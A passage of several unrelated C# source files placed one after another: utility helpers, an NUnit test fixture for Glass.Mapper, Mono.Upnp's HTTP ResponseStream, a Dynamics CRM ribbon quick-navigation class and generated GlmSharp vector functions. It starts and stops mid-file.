List<T>(batchSize); foreach (var item in sequence) { batch.Add(item); // when we've accumulated enough in the batch, send it out if (batch.Count >= batchSize) { yield return batch; // batch.ToArray(); batch = new List<T>(batchSize); } } if (batch.Count > 0) { yield return batch; //batch.ToArray(); } } [MethodImpl(MethodImplOptions.NoInlining)] public static string GetStackTrace(int skipFrames = 0) { skipFrames += 1; //skip this method from the stack trace #if NETSTANDARD skipFrames += 2; //skip the 2 Environment.StackTrace related methods. var stackTrace = Environment.StackTrace; for (int i = 0; i < skipFrames; i++) { stackTrace = stackTrace.Substring(stackTrace.IndexOf(Environment.NewLine) + Environment.NewLine.Length); } return stackTrace; #else return new System.Diagnostics.StackTrace(skipFrames).ToString(); #endif } public static GrainReference FromKeyString(string key, IGrainReferenceRuntime runtime) { return GrainReference.FromKeyString(key, runtime); } } }
/* Copyright 2012 Michael Edwards Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ //-CRE- using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Castle.MicroKernel.Registration; using Glass.Mapper.Configuration; using Glass.Mapper.Pipelines.ObjectConstruction; using Glass.Mapper.Sc.CastleWindsor.Pipelines.ObjectConstruction; using NSubstitute; using NUnit.Framework; namespace Glass.Mapper.Sc.CastleWindsor.Tests.Pipelines.ObjectConstruction { [TestFixture] public class WindsorConstructionFixture { [Test] public void Execute_RequestInstanceOfClass_ReturnsInstance() { //Assign var task = new WindsorConstruction(); var context = Context.Create(DependencyResolver.CreateStandardResolver()); var typeConfig = Substitute.For<AbstractTypeConfiguration>(); typeConfig.Type = typeof (StubClass); var typeCreationContext = Substitute.For<AbstractTypeCreationContext>(); var service = Substitute.For<AbstractService>(); var args = new ObjectConstructionArgs(context, typeCreationContext, typeConfig, service); Assert.IsNull(args.Result); //Act task.Execute(args); //Assert Assert.IsNotNull(args.Result); Assert.IsTrue(args.Result is StubClass); } [Test] public void Execute_ResultAlreadySet_NoInstanceCreated() { //Assign var task = new WindsorConstruction(); var context = Context.Create(DependencyResolver.CreateStandardResolver()); var typeConfig = Substitute.For<AbstractTypeConfiguration>(); typeConfig.Type = typeof(StubClass); var args = new ObjectConstructionArgs(context, null, typeConfig , null); var result = new StubClass2(); args.Result = result; Assert.IsNotNull(args.Result); //Act task.Execute(args); //Assert Assert.IsNotNull(args.Result); Assert.IsTrue(args.Result is StubClass2); Assert.AreEqual(result, args.Result); } [Test] public void Execute_RequestInstanceOfInterface_ReturnsNullInterfaceNotSupported() { //Assign var task = new WindsorConstruction(); var context = Context.Create(DependencyResolver.CreateStandardResolver()); var typeConfig = Substitute.For<AbstractTypeConfiguration>(); typeConfig.Type = typeof(StubInterface); var typeCreationContext = Substitute.For<AbstractTypeCreationContext>(); var args = new ObjectConstructionArgs(context, typeCreationContext, typeConfig , null); Assert.IsNull(args.Result); //Act task.Execute(args); //Assert Assert.IsNull(args.Result); } [Test] public void Execute_RequestInstanceOfClassWithService_ReturnsInstanceWithService() { //Assign var task = new WindsorConstruction(); var resolver = DependencyResolver.CreateStandardResolver() as DependencyResolver; var context = Context.Create(resolver); var service = Substitute.For<AbstractService>(); resolver.Container.Register( Component.For<StubServiceInterface>().ImplementedBy<StubService>().LifestyleTransient() ); var typeConfig = Substitute.For<AbstractTypeConfiguration>(); typeConfig.Type = typeof(StubClassWithService); var typeCreationContext = Substitute.For<AbstractTypeCreationContext>(); var args = new ObjectConstructionArgs(context, typeCreationContext, typeConfig , service); Assert.IsNull(args.Result); //Act task.Execute(args); //Assert Assert.IsNotNull(args.Result); Assert.IsTrue(args.Result is StubClassWithService); var stub = args.Result as StubClassWithService; Assert.IsNotNull(stub.Service); Assert.IsTrue(stub.Service is StubService); } [Test] public void Execute_RequestInstanceOfClassWithParameters_NoInstanceReturnedDoesntHandle() { //Assign var task = new WindsorConstruction(); var context = Context.Create(DependencyResolver.CreateStandardResolver()); var typeConfig = Substitute.For<AbstractTypeConfiguration>(); typeConfig.Type = typeof(StubClassWithParameters); string param1 = "test param1"; int param2 = 450; double param3 = 489; string param4 = "param4 test"; var typeCreationContext = Substitute.For<AbstractTypeCreationContext>(); typeCreationContext.ConstructorParameters = new object[]{param1, param2, param3, param4}; var args = new ObjectConstructionArgs(context, typeCreationContext, typeConfig , null); Assert.IsNull(args.Result); //Act task.Execute(args); //Assert Assert.IsNull(args.Result); } #region Stubs public class StubClass { } public class StubClass2 { } public interface StubInterface { } public interface StubServiceInterface { } public class StubService: StubServiceInterface { } public class StubClassWithService { public StubServiceInterface Service { get; set; } public StubClassWithService(StubServiceInterface service) { Service = service; } } public class StubClassWithParameters { public string Param1 { get; set; } public int Param2 { get; set; } public double Param3 { get; set; } public string Param4 { get; set; } public StubClassWithParameters( string param1, int param2, double param3, string param4 ) { Param1 = param1; Param2 = param2; Param3 = param3; Param4 = param4; } } #endregion } }
// // System.Net.ResponseStream // // Author: // Gonzalo Paniagua Javier (gonzalo@novell.com) // // Copyright (c) 2005 Novell, Inc. (http://www.novell.com) // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. using System.IO; using System.Net.Sockets; using System.Text; using System.Runtime.InteropServices; using System; namespace Mono.Upnp.Http { // FIXME: Does this buffer the response until Close? // Update: we send a single packet for the first non-chunked Write // What happens when we set content-length to X and write X-1 bytes then close? // what if we don't set content-length at all? class ResponseStream : Stream { HttpListenerResponse response; bool ignore_errors; bool disposed; bool trailer_sent; Stream stream; internal ResponseStream (Stream stream, HttpListenerResponse response, bool ignore_errors) { this.response = response; this.ignore_errors = ignore_errors; this.stream = stream; } public override bool CanRead { get { return false; } } public override bool CanSeek { get { return false; } } public override bool CanWrite { get { return true; } } public override long Length { get { throw new NotSupportedException (); } } public override long Position { get { throw new NotSupportedException (); } set { throw new NotSupportedException (); } } public override void Close () { if (disposed == false) { disposed = true; byte [] bytes = null; MemoryStream ms = GetHeaders (true); bool chunked = response.SendChunked; if (ms != null) { long start = ms.Position; if (chunked && !trailer_sent) { bytes = GetChunkSizeBytes (0, true); ms.Position = ms.Length; ms.Write (bytes, 0, bytes.Length); } InternalWrite (ms.GetBuffer (), (int) start, (int) (ms.Length - start)); trailer_sent = true; } else if (chunked && !trailer_sent) { bytes = GetChunkSizeBytes (0, true); InternalWrite (bytes, 0, bytes.Length); trailer_sent = true; } response.Close (); } } MemoryStream GetHeaders (bool closing) { // SendHeaders works on shared headers lock (response.headers_lock) { if (response.HeadersSent) return null; MemoryStream ms = new MemoryStream (); response.SendHeaders (closing, ms); return ms; } } public override void Flush () { } static byte [] crlf = new byte [] { 13, 10 }; static byte [] GetChunkSizeBytes (int size, bool final) { string str = String.Format ("{0:x}\r\n{1}", size, final ? "\r\n" : ""); return Encoding.ASCII.GetBytes (str); } internal void InternalWrite (byte [] buffer, int offset, int count) { if (ignore_errors) { try { stream.Write (buffer, offset, count); } catch { } } else { stream.Write (buffer, offset, count); } } public override void Write (byte [] buffer, int offset, int count) { if (disposed) throw new ObjectDisposedException (GetType ().ToString ()); byte [] bytes = null; MemoryStream ms = GetHeaders (false); bool chunked = response.SendChunked; if (ms != null) { long start = ms.Position; // After the possible preamble for the encoding ms.Position = ms.Length; if (chunked) { bytes = GetChunkSizeBytes (count, false); ms.Write (bytes, 0, bytes.Length); } int new_count = Math.Min (count, 16384 - (int) ms.Position + (int) start); ms.Write (buffer, offset, new_count); count -= new_count; offset += new_count; InternalWrite (ms.GetBuffer (), (int) start, (int) (ms.Length - start)); ms.SetLength (0); ms.Capacity = 0; // 'dispose' the buffer in ms. } else if (chunked) { bytes = GetChunkSizeBytes (count, false); InternalWrite (bytes, 0, bytes.Length); } if (count > 0) InternalWrite (buffer, offset, count); if (chunked) InternalWrite (crlf, 0, 2); } public override IAsyncResult BeginWrite (byte [] buffer, int offset, int count, AsyncCallback cback, object state) { if (disposed) throw new ObjectDisposedException (GetType ().ToString ()); byte [] bytes = null; MemoryStream ms = GetHeaders (false); bool chunked = response.SendChunked; if (ms != null) { long start = ms.Position; ms.Position = ms.Length; if (chunked) { bytes = GetChunkSizeBytes (count, false); ms.Write (bytes, 0, bytes.Length); } ms.Write (buffer, offset, count); buffer = ms.GetBuffer (); offset = (int) start; count = (int) (ms.Position - start); } else if (chunked) { bytes = GetChunkSizeBytes (count, false); InternalWrite (bytes, 0, bytes.Length); } return stream.BeginWrite (buffer, offset, count, cback, state); } public override void EndWrite (IAsyncResult ares) { if (disposed) throw new ObjectDisposedException (GetType ().ToString ()); if (ignore_errors) { try { stream.EndWrite (ares); if (response.SendChunked) stream.Write (crlf, 0, 2); } catch { } } else { stream.EndWrite (ares); if (response.SendChunked) stream.Write (crlf, 0, 2); } } public override int Read ([In,Out] byte[] buffer, int offset, int count) { throw new NotSupportedException (); } public override IAsyncResult BeginRead (byte [] buffer, int offset, int count, AsyncCallback cback, object state) { throw new NotSupportedException (); } public override int EndRead (IAsyncResult ares) { throw new NotSupportedException (); } public override long Seek (long offset, SeekOrigin origin) { throw new NotSupportedException (); } public override void SetLength (long value) { throw new NotSupportedException (); } } }
using jQueryApi; using System; using System.Collections.Generic; using System.Html; using Xrm; using Xrm.Sdk; using Xrm.Sdk.Ribbon; using Xrm.XrmImport.Ribbon; namespace QuickNavigation.ClientHooks.Ribbon { public class Ribbon { public static string SELECT_TAB_COMMAND_PREFIX = "dev1.QuickNav.Tabs."; public static string SELECT_NAV_COMMAND_PREFIX = "dev1.QuickNav.Nav."; public static Dictionary<string, string> _resources; public static Dictionary<string, string> _userPriviledgeNames; public static SiteMap _siteMap; public static string uniquePrefix; public static void Populate(CommandProperties commandProperties) { _resources = (Dictionary<string, string>)Script.Literal("window.top._quickNav__resources"); _userPriviledgeNames = (Dictionary<string, string>)Script.Literal("window.top._quickNav__userPriviledgeNames"); _siteMap = (SiteMap)Script.Literal("window.top._quickNav__siteMap"); uniquePrefix = "dev1_" + DateTime.Now.GetTime().ToString() + "|"; bool isOnForm = (Page.Ui != null); LoadResources(); RibbonMenu quickNav = new RibbonMenu("dev1.QuickNav"); RibbonMenuSection topSection = new RibbonMenuSection("dev1.SiteMapMenuSection", "", 2, RibbonDisplayMode.Menu16); quickNav.AddSection(topSection); // Only show Sitemap in web client if (Page.Context.Client.GetClient() == ClientType.Web) { if (isOnForm) { RibbonFlyoutAnchor siteMapMenuFlyout = new RibbonFlyoutAnchor(uniquePrefix + "SiteMapButton", 1, ReplaceResourceToken("$Site_Map"), "Mscrm.Enabled", "/_imgs/FormEditorRibbon/Subgrid_16.png", null); topSection.AddButton((RibbonButton)(object)siteMapMenuFlyout); siteMapMenuFlyout.Menu = new RibbonMenu("dev1.SiteMapButton.Menu"); RibbonMenuSection siteMapMenuFlyoutSection = new RibbonMenuSection(uniquePrefix + "SiteMapButton.Menu.Section", "", 1, RibbonDisplayMode.Menu16); siteMapMenuFlyout.Menu.AddSection(siteMapMenuFlyoutSection); GetSiteMap(siteMapMenuFlyoutSection); } else GetSiteMap(topSection); } // Add Advanced Find RibbonButton advFind = new RibbonButton("dev1.OpenAdvancedFind.Button", 1, ReplaceResourceToken("$Advanced_Find"), "dev1.OpenAdvancedFind", "/_imgs/ribbon/AdvancedFind_16.png", null); topSection.AddButton(advFind); GetFormTabs(quickNav); GetFormNav(quickNav); commandProperties.PopulationXML = quickNav.SerialiseToRibbonXml(); // Store for next time Script.Literal("window.top._quickNav__resources={0}",_resources); Script.Literal("window.top._quickNav__userPriviledgeNames={0}",_userPriviledgeNames); Script.Literal("window.top._quickNav__siteMap={0}",_siteMap); } private static void GetFormNav(RibbonMenu quickNav) { SELECT_NAV_COMMAND_PREFIX = uniquePrefix + "QuickNav.Nav"; if (Page.Ui != null && Page.Ui.Navigation != null) { RibbonMenuSection navSection = new RibbonMenuSection(uniquePrefix + "QuickNav.Nav", "Related", 1, RibbonDisplayMode.Menu16); quickNav.AddSection(navSection); int i = 0; Page.Ui.Navigation.Items.ForEach(delegate(NavigationItem nav, int index) { RibbonButton button = new RibbonButton(SELECT_NAV_COMMAND_PREFIX + nav.GetId(), i, nav.GetLabel(), "dev1.QuickNav.SelectNav", "/_imgs/FormEditorRibbon/Subgrid_16.png", ""); navSection.AddButton(button); i++; return true; }); } } private static void GetFormTabs(RibbonMenu quickNav) { SELECT_TAB_COMMAND_PREFIX = uniquePrefix + "QuickNav.Tabs."; if (Page.Ui!=null && Page.Ui.FormSelector != null) { FormSelectorItem form = Page.Ui.FormSelector.GetCurrentItem(); string formSectionName = "Form"; if (form != null) { formSectionName = form.GetLabel(); } RibbonMenuSection tabsSection = new RibbonMenuSection(uniquePrefix + "QuickNav.Tabs", formSectionName, 1, RibbonDisplayMode.Menu16); quickNav.AddSection(tabsSection); int i = 0; // Get the tabs and sections on the form Page.Ui.Tabs.ForEach(delegate(TabItem tab, int index) { if (tab.GetVisible()) { RibbonButton button = new RibbonButton(SELECT_TAB_COMMAND_PREFIX + tab.GetName(), i, tab.GetLabel(), "dev1.QuickNav.SelectTab", "/_imgs/FormEditorRibbon/Subgrid_16.png", ""); tabsSection.AddButton(button); i++; } return true; }); } } public static void GetSiteMap(RibbonMenuSection siteMapSection) { GetUserPrivs(); //jQuery.FromHtml("<style>.commandBar-NavButton{background-color:red}</style>").AppendTo("head"); int sequence = 1; foreach (Area area in _siteMap.areas) { string areaIconUrl = "/_imgs/FormEditorRibbon/Subgrid_16.png"; if (!String.IsNullOrEmpty(area.icon)) { areaIconUrl = DecodeImageUrl(area.icon); } RibbonFlyoutAnchor areaFlyout = new RibbonFlyoutAnchor(uniquePrefix + area.id + ".Flyout", sequence++, ReplaceResourceToken(area.title), "Mscrm.Enabled", areaIconUrl, null); areaFlyout.Menu = new RibbonMenu(area.id + ".Flyout.Menu"); //areaFlyout.Image16by16Class = @"commandBar-NavButton"; //menu.AddSection(areaSection); siteMapSection.AddButton((RibbonButton)(object)areaFlyout); RibbonMenuSection areaSection=null; foreach (Group group in area.groups) { RibbonMenuSection subAreaMenuSection = null; RibbonMenu subAreaParentMenu = null; if (group.title != null) { areaSection = new RibbonMenuSection(uniquePrefix + area.id +"|" + group.id + ".Section", ReplaceResourceToken(group.title), sequence++, RibbonDisplayMode.Menu16); subAreaParentMenu = areaFlyout.Menu; subAreaMenuSection = areaSection; } else { if (areaSection == null) { // Create default areaSection because we don't have group titles areaSection = new RibbonMenuSection(uniquePrefix + area.id + ".Section", ReplaceResourceToken(area.title), sequence++, RibbonDisplayMode.Menu16); subAreaParentMenu = areaFlyout.Menu; } subAreaMenuSection = areaSection; } int subAreaSequence = 1; foreach (SubArea subArea in group.subareas) { string subAreaIconUrl = "/_imgs/FormEditorRibbon/Subgrid_16.png"; if (!String.IsNullOrEmpty(subArea.icon)) { subAreaIconUrl = DecodeImageUrl(subArea.icon); } else if (!string.IsNullOrEmpty(subArea.entity) && subArea.objecttypecode != 4703 && subArea.objecttypecode != 9603) { subAreaIconUrl = "/_imgs/ico_16_" + subArea.objecttypecode.ToString() + ".gif"; } bool hasAccess = true; // Check Privs if (subArea.privileges!=null && subArea.privileges.Count > 0) { foreach (string priv in subArea.privileges) { hasAccess = hasAccess && _userPriviledgeNames.ContainsKey(priv.ToLowerCase()); if (!hasAccess) break; } } if (hasAccess) { RibbonButton button = new RibbonButton(uniquePrefix + area.id + "|" + group.id + "|" + subArea.id, subAreaSequence++, ReplaceResourceToken(subArea.title), "dev1.QuickNav.SelectSiteMapNav", subAreaIconUrl, ""); subAreaMenuSection.AddButton(button); } } // Add submenu to menu if it has at least one item if (subAreaMenuSection.Buttons.Count > 0) { subAreaParentMenu.AddSection(subAreaMenuSection); } } } } private static void LoadResources() { jQueryAjaxOptions options = new jQueryAjaxOptions(); options.Async = false; int lcid = Page.Context.GetUserLcid(); if (_siteMap == null) { options.Url = Page.Context.GetClientUrl() + "/" + PageEx.GetCacheKey() + "/WebResources/dev1_/js/SiteMap" + lcid.ToString() + ".js"; _siteMap = jQuery.ParseJsonData<SiteMap>(jQuery.Ajax(options).ResponseText); } if (_resources == null) { Dictionary<string, string> loadedResources = null; options.Url = GetResourceStringWebResourceUrl(lcid); try { loadedResources = jQuery.ParseJsonData<Dictionary<string, string>>(jQuery.Ajax(options).ResponseText); } catch { } if (loadedResources == null) { // We fall back to the 1033 because this is included in the solution options.Url = GetResourceStringWebResourceUrl(1033); loadedResources = jQuery.ParseJsonData<Dictionary<string, string>>(jQuery.Ajax(options).ResponseText); } _resources = loadedResources; } } private static string GetResourceStringWebResourceUrl(int lcid) { return Page.Context.GetClientUrl() + "/" + PageEx.GetCacheKey() + "/WebResources/dev1_/js/QuickNavigationResources_" + lcid.ToString() + ".js"; } private static string ReplaceResourceToken(string title) { if (title == null) title = ""; else if (title.StartsWith("$")) { // Get the resource string if it's there title = title.Replace("$", ""); if (_resources.ContainsKey(title)) title = _resources[title]; } return title; } private static string DecodeImageUrl(string url) { if (url.ToLowerCase().StartsWith("$webresource:")) { url = Page.Context.GetClientUrl() + "/" + PageEx.GetCacheKey() + "WebResources/" + url.Substr(13); } return url; } private static void GetUserPrivs() { if (_userPriviledgeNames == null) { // Get the Users' Privileges OrganizationServiceProxy.RegisterExecuteMessageResponseType("RetrieveUserPrivileges", typeof(RetrieveUserPrivilegesResponse)); RetrieveUserPrivilegesRequest request = new RetrieveUserPrivilegesRequest(); request.UserId = new Guid(Page.Context.GetUserId()); RetrieveUserPrivilegesResponse response = (RetrieveUserPrivilegesResponse)OrganizationServiceProxy.Execute(request); // Translate into names string priviledgeFetchXml = @"<fetch version='1.0' output-format='xml-platform' mapping='logical' distinct='false'> <entity name='privilege'> <attribute name='name'/> <filter type='and'> <condition attribute='privilegeid' operator='in'> {0} </condition> <condition attribute='name' operator='in'> {1} </condition> </filter> </entity> </fetch>"; string priviledgeIds = ""; // Load the names of the privs where the user has them in their roles foreach (RolePrivilege p in response.RolePrivileges) { priviledgeIds += @"<value>" + p.PrivilegeId.Value + "</value>"; } // Load only the names/ids where we need to compare in the sitemap string priviledgeNames = ""; foreach (string priv in _siteMap.privileges) { priviledgeNames += @"<value>" + priv + "</value>"; } EntityCollection userPrivNameResults = OrganizationServiceProxy.RetrieveMultiple(string.Format(priviledgeFetchXml, priviledgeIds, priviledgeNames)); _userPriviledgeNames = new Dictionary<string, string>(); foreach (Entity priv in userPrivNameResults.Entities) { _userPriviledgeNames[priv.GetAttributeValueString("name").ToLowerCase()] = "1"; } } } public static void SelectTab(CommandProperties commandProperties) { string tabId = commandProperties.SourceControlId.Replace(SELECT_TAB_COMMAND_PREFIX, ""); Element tab = Window.Parent.Parent.Document.GetElementById("TabNode_tab0Tab-main"); // Move back to the main form if (tab != null) tab.Click(); TabItem tabControl = Page.Ui.Tabs.Get(tabId); if (tabControl.GetDisplayState() == DisplayState.Collapsed) { tabControl.SetDisplayState(DisplayState.Expanded); } tabControl.SetFocus(); } public static void SelectNav(CommandProperties commandProperties) { string navId = commandProperties.SourceControlId.Replace(SELECT_NAV_COMMAND_PREFIX, ""); NavigationItem navItem = Page.Ui.Navigation.Items.Get(navId); navItem.SetFocus(); } public static void SelectSiteMapNav(CommandProperties commandProperties) { string[] navId = commandProperties.SourceControlId.Split("|"); string areaId = navId[1]; string groupId = navId[2]; string subAreaId = navId[3]; foreach (Area area in _siteMap.areas) { if (area.id == areaId) { foreach (Group group in area.groups) { if (group.id == groupId) { foreach (SubArea subArea in group.subareas) { if (subArea.id == subAreaId) { // Navigate to sub area url string url = subArea.url; string siteMapPath = "sitemappath=" + GlobalFunctions.encodeURIComponent(areaId + "|" + groupId + "|" + subAreaId); if (url == null) { // Entity url int objectypecode = subArea.objecttypecode; url = "/_root/homepage.aspx?etc=" + objectypecode + "&" + siteMapPath; } else if (url.IndexOf("?") > -1) { url = url + "&" + siteMapPath; } else { url = url + "?" + siteMapPath; } Element navBar = Window.Top.Document.GetElementById("navBar"); if (navBar != null) { if (Script.Literal("{0}.control.raiseNavigateRequest",navBar) != null) { Dictionary<string, string> urlParameter = new Dictionary<string, string>(); urlParameter["uri"] = url; Script.Literal("{0}.control.raiseNavigateRequest({1})", navBar, urlParameter); } } } } } } } } } } }
using System; using System.Collections; using System.Collections.Generic; using System.Globalization; using System.Runtime.InteropServices; using System.Runtime.Serialization; using GlmSharp.Swizzle; // ReSharper disable InconsistentNaming namespace GlmSharp { /// <summary> /// Static class that contains static glm functions /// </summary> public static partial class glm { /// <summary> /// Returns an object that can be used for arbitrary swizzling (e.g. swizzle.zy) /// </summary> public static swizzle_decvec4 swizzle(decvec4 v) => v.swizzle; /// <summary> /// Returns an array with all values /// </summary> public static decimal[] Values(decvec4 v) => v.Values; /// <summary> /// Returns an enumerator that iterates through all components. /// </summary> public static IEnumerator<decimal> GetEnumerator(decvec4 v) => v.GetEnumerator(); /// <summary> /// Returns a string representation of this vector using ', ' as a seperator. /// </summary> public static string ToString(decvec4 v) => v.ToString(); /// <summary> /// Returns a string representation of this vector using a provided seperator. /// </summary> public static string ToString(decvec4 v, string sep) => v.ToString(sep); /// <summary> /// Returns a string representation of this vector using a provided seperator and a format provider for each component. /// </summary> public static string ToString(decvec4 v, string sep, IFormatProvider provider) => v.ToString(sep, provider); /// <summary> /// Returns a string representation of this vector using a provided seperator and a format for each component. /// </summary> public static string ToString(decvec4 v, string sep, string format) => v.ToString(sep, format); /// <summary> /// Returns a string representation of this vector using a provided seperator and a format and format provider for each component. /// </summary> public static string ToString(decvec4 v, string sep, string format, IFormatProvider provider) => v.ToString(sep, format, provider); /// <summary> /// Returns the number of components (4). /// </summary> public static int Count(decvec4 v) => v.Count; /// <summary> /// Returns true iff this equals rhs component-wise. /// </summary> public static bool Equals(decvec4 v, decvec4 rhs) => v.Equals(rhs); /// <summary> /// Returns true iff this equals rhs type- and component-wise. /// </summary> public static bool Equals(decvec4 v, object obj) => v.Equals(obj); /// <summary> /// Returns a hash code for this instance. /// </summary> public static int GetHashCode(decvec4 v) => v.GetHashCode(); /// <summary> /// Returns true iff distance between lhs and rhs is less than or equal to epsilon /// </summary> public static bool ApproxEqual(decvec4 lhs, decvec4 rhs, decimal eps = 0.1m) => decvec4.ApproxEqual(lhs, rhs, eps); /// <summary> /// Returns a bvec4 from component-wise application of Equal (lhs == rhs). /// </summary> public static bvec4 Equal(decvec4 lhs, decvec4 rhs) => decvec4.Equal(lhs, rhs); /// <summary> /// Returns a bvec4 from component-wise application of NotEqual (lhs != rhs). /// </summary> public static bvec4 NotEqual(decvec4 lhs, decvec4 rhs) => decvec4.NotEqual(lhs, rhs); /// <summary> /// Returns a bvec4 from component-wise application of GreaterThan (lhs &gt; rhs). /// </summary> public static bvec4 GreaterThan(decvec4 lhs, decvec4 rhs) => decvec4.GreaterThan(lhs, rhs); /// <summary> /// Returns a bvec4 from component-wise application of GreaterThanEqual (lhs &gt;= rhs). /// </summary> public static bvec4 GreaterThanEqual(decvec4 lhs, decvec4 rhs) => decvec4.GreaterThanEqual(lhs, rhs); /// <summary> /// Returns a bvec4 from component-wise application of LesserThan (lhs &lt; rhs). /// </summary> public static bvec4 LesserThan(decvec4 lhs, decvec4 rhs) => decvec4.LesserThan(lhs, rhs); /// <summary> /// Returns a bvec4 from component-wise application of LesserThanEqual (lhs &lt;= rhs). /// </summary> public static bvec4 LesserThanEqual(decvec4 lhs, decvec4 rhs) => decvec4.LesserThanEqual(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Abs (Math.Abs(v)). /// </summary> public static decvec4 Abs(decvec4 v) => decvec4.Abs(v); /// <summary> /// Returns a decvec4 from component-wise application of HermiteInterpolationOrder3 ((3 - 2 * v) * v * v). /// </summary> public static decvec4 HermiteInterpolationOrder3(decvec4 v) => decvec4.HermiteInterpolationOrder3(v); /// <summary> /// Returns a decvec4 from component-wise application of HermiteInterpolationOrder5 (((6 * v - 15) * v + 10) * v * v * v). /// </summary> public static decvec4 HermiteInterpolationOrder5(decvec4 v) => decvec4.HermiteInterpolationOrder5(v); /// <summary> /// Returns a decvec4 from component-wise application of Sqr (v * v). /// </summary> public static decvec4 Sqr(decvec4 v) => decvec4.Sqr(v); /// <summary> /// Returns a decvec4 from component-wise application of Pow2 (v * v). /// </summary> public static decvec4 Pow2(decvec4 v) => decvec4.Pow2(v); /// <summary> /// Returns a decvec4 from component-wise application of Pow3 (v * v * v). /// </summary> public static decvec4 Pow3(decvec4 v) => decvec4.Pow3(v); /// <summary> /// Returns a decvec4 from component-wise application of Step (v &gt;= 0m ? 1m : 0m). /// </summary> public static decvec4 Step(decvec4 v) => decvec4.Step(v); /// <summary> /// Returns a decvec4 from component-wise application of Sqrt ((decimal)Math.Sqrt((double)v)). /// </summary> public static decvec4 Sqrt(decvec4 v) => decvec4.Sqrt(v); /// <summary> /// Returns a decvec4 from component-wise application of InverseSqrt ((decimal)(1.0 / Math.Sqrt((double)v))). /// </summary> public static decvec4 InverseSqrt(decvec4 v) => decvec4.InverseSqrt(v); /// <summary> /// Returns a ivec4 from component-wise application of Sign (Math.Sign(v)). /// </summary> public static ivec4 Sign(decvec4 v) => decvec4.Sign(v); /// <summary> /// Returns a decvec4 from component-wise application of Max (Math.Max(lhs, rhs)). /// </summary> public static decvec4 Max(decvec4 lhs, decvec4 rhs) => decvec4.Max(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Min (Math.Min(lhs, rhs)). /// </summary> public static decvec4 Min(decvec4 lhs, decvec4 rhs) => decvec4.Min(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Pow ((decimal)Math.Pow((double)lhs, (double)rhs)). /// </summary> public static decvec4 Pow(decvec4 lhs, decvec4 rhs) => decvec4.Pow(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Log ((decimal)Math.Log((double)lhs, (double)rhs)). /// </summary> public static decvec4 Log(decvec4 lhs, decvec4 rhs) => decvec4.Log(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Clamp (Math.Min(Math.Max(v, min), max)). /// </summary> public static decvec4 Clamp(decvec4 v, decvec4 min, decvec4 max) => decvec4.Clamp(v, min, max); /// <summary> /// Returns a decvec4 from component-wise application of Mix (min * (1-a) + max * a). /// </summary> public static decvec4 Mix(decvec4 min, decvec4 max, decvec4 a) => decvec4.Mix(min, max, a); /// <summary> /// Returns a decvec4 from component-wise application of Lerp (min * (1-a) + max * a). /// </summary> public static decvec4 Lerp(decvec4 min, decvec4 max, decvec4 a) => decvec4.Lerp(min, max, a); /// <summary> /// Returns a decvec4 from component-wise application of Smoothstep (((v - edge0) / (edge1 - edge0)).Clamp().HermiteInterpolationOrder3()). /// </summary> public static decvec4 Smoothstep(decvec4 edge0, decvec4 edge1, decvec4 v) => decvec4.Smoothstep(edge0, edge1, v); /// <summary> /// Returns a decvec4 from component-wise application of Smootherstep (((v - edge0) / (edge1 - edge0)).Clamp().HermiteInterpolationOrder5()). /// </summary> public static decvec4 Smootherstep(decvec4 edge0, decvec4 edge1, decvec4 v) => decvec4.Smootherstep(edge0, edge1, v); /// <summary> /// Returns a decvec4 from component-wise application of Fma (a * b + c). /// </summary> public static decvec4 Fma(decvec4 a, decvec4 b, decvec4 c) => decvec4.Fma(a, b, c); /// <summary> /// OuterProduct treats the first parameter c as a column vector (matrix with one column) and the second parameter r as a row vector (matrix with one row) and does a linear algebraic matrix multiply c * r, yielding a matrix whose number of rows is the number of components in c and whose number of columns is the number of components in r. /// </summary> public static decmat2x4 OuterProduct(decvec4 c, decvec2 r) => decvec4.OuterProduct(c, r); /// <summary> /// OuterProduct treats the first parameter c as a column vector (matrix with one column) and the second parameter r as a row vector (matrix with one row) and does a linear algebraic matrix multiply c * r, yielding a matrix whose number of rows is the number of components in c and whose number of columns is the number of components in r. /// </summary> public static decmat3x4 OuterProduct(decvec4 c, decvec3 r) => decvec4.OuterProduct(c, r); /// <summary> /// OuterProduct treats the first parameter c as a column vector (matrix with one column) and the second parameter r as a row vector (matrix with one row) and does a linear algebraic matrix multiply c * r, yielding a matrix whose number of rows is the number of components in c and whose number of columns is the number of components in r. /// </summary> public static decmat4 OuterProduct(decvec4 c, decvec4 r) => decvec4.OuterProduct(c, r); /// <summary> /// Returns a decvec4 from component-wise application of Add (lhs + rhs). /// </summary> public static decvec4 Add(decvec4 lhs, decvec4 rhs) => decvec4.Add(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Sub (lhs - rhs). /// </summary> public static decvec4 Sub(decvec4 lhs, decvec4 rhs) => decvec4.Sub(lhs, rhs); /// <summary> /// Returns a decvec4 from component-wise application of Mul (lhs * rhs). /// </summary> public static decvec4 Mul(decvec4 lhs, decvec4 rhs) => decvec4.Mul(lhs, rhs); 